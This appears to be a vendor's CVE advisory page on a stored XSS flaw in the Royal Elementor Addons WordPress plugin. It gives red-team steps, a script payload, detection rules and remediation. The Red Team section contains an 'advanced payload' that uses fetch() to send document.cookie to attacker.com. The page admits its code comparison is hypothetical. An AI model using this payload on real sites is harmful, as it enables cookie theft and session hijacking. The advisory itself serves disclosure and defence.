CVE-2025-1455
Executive Summary
CVE-2025-1455 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Royal Elementor Addons and Templates plugin for WordPress. This plugin is widely used to extend the functionality of the Elementor page builder. The flaw resides in the Woo Grid widget, which fails to properly sanitize user input and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious widget, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The Royal Elementor Addons plugin is a third-party extension for Elementor, a popular page builder. The flaw is not related to the core WordPress or Elementor software but is a result of insecure coding practices within the plugin's Woo Grid widget. Attackers leverage the plugin's own functionality to store malicious payloads, which are then served to visitors.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Requires Contributor-level access or higher.
- User Interaction (UI): None – The victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed – The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low – Limited information disclosure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for widespread exploitation in WordPress environments is significant due to the plugin's popularity and the low barrier to entry (Contributor-level access).
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS (CWE-79) in the Woo Grid widget. The widget is designed to display WooCommerce products in a grid layout. It accepts user input for various parameters, such as product titles, descriptions, or custom CSS classes. The plugin fails to sanitize this input before storing it in the database and fails to escape it when rendering the page.
Attack Flow:
- An attacker with Contributor-level access (or higher) logs into the WordPress admin panel.
- The attacker creates or edits a page/post using Elementor and adds the Woo Grid widget.
- The attacker injects a malicious JavaScript payload into a widget field (e.g., product title, custom CSS class, or a custom attribute).
- The plugin stores the payload in the WordPress database without proper sanitization.
- When any user (including administrators) visits the page, the widget renders the payload, executing the JavaScript in the victim's browser.
- The script can then steal cookies, redirect users, deface the page, or perform other malicious actions.
Root Cause: Insufficient input sanitization and output escaping. The plugin likely uses esc_attr() or esc_html() inconsistently, or fails to apply them to all user-controlled fields.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common fixes for Stored XSS.
Vulnerable Code (Conceptual):
// In the widget's render method
$product_title = $settings['product_title']; // No sanitization
echo '<div class="woo-grid-item">' . $product_title . '</div>'; // No escaping
Patched Code (Conceptual):
// In the widget's render method
$product_title = sanitize_text_field( $settings['product_title'] ); // Sanitize input
echo '<div class="woo-grid-item">' . esc_html( $product_title ) . '</div>'; // Escape output
The patched version uses sanitize_text_field() to strip dangerous characters from the input and esc_html() to convert special characters to HTML entities before output.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Royal Elementor Addons <= 1.7.1012 installed and active.
- An account with Contributor-level privileges or higher.
Steps:
- Log in to the WordPress admin panel.
- Navigate to Pages > Add New.
- Edit with Elementor.
- Search for and add the "Woo Grid" widget to the page.
- In the widget settings, locate a text field (e.g., "Product Title" or "Custom CSS Class").
- Inject the following payload into the field:
<script>alert('XSS')</script> - Update/publish the page.
- When any user visits the page, the script executes.
Advanced Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team (Defender)
Detection:
- Monitor for unusual JavaScript execution in the browser.
- Look for unexpected script tags in page content.
- Use a Web Application Firewall (WAF) to block common XSS patterns.
Prevention:
- Restrict Contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Regularly update plugins and apply security patches.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to unknown domains containing
?cookie=or similar parameters. - Unusual JavaScript files loaded from external sources.
- Outbound HTTP requests to unknown domains containing
- Host:
- Presence of
<script>tags in WordPress post/page content, especially in fields related to the Woo Grid widget. - Unexpected changes to page content or redirects.
- Presence of
- Logs:
- WordPress audit logs showing creation/editing of pages by Contributor-level users with suspicious content.
- Web server logs showing requests to pages containing the Woo Grid widget with unusual query parameters.
Detection Engineering
YARA Rule
rule CVE_2025_1455_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress Royal Elementor Addons Woo Grid widget"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1455"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$woo_grid = /royal-elementor-addons.*woo-grid/i
condition:
$woo_grid and #xss_payload > 0
}
Sigma Rule
title: CVE-2025-1455 Stored XSS in Royal Elementor Addons
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS payloads in WordPress posts/pages related to Royal Elementor Addons
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'royal-elementor-addons'
cs-uri-query|contains: 'woo-grid'
cs-uri-query|contains|re: '<script[^>]*>.*</script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in page content
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-1455 Stored XSS in Royal Elementor Addons"; flow:to_server,established; content:"royal-elementor-addons"; http_uri; content:"woo-grid"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Woo Grid widget if not in use, or restrict its usage to Administrator-level users only.
- Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.
- Apply Content Security Policy (CSP) headers to prevent inline script execution.
Long-term Fix:
- Update the plugin to a patched version once released by the vendor.
- Audit all user roles and remove unnecessary Contributor-level access.
- Educate content creators about the risks of XSS and safe coding practices.
Workaround:
- Use a security plugin like Wordfence to add an additional layer of input sanitization and output escaping.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.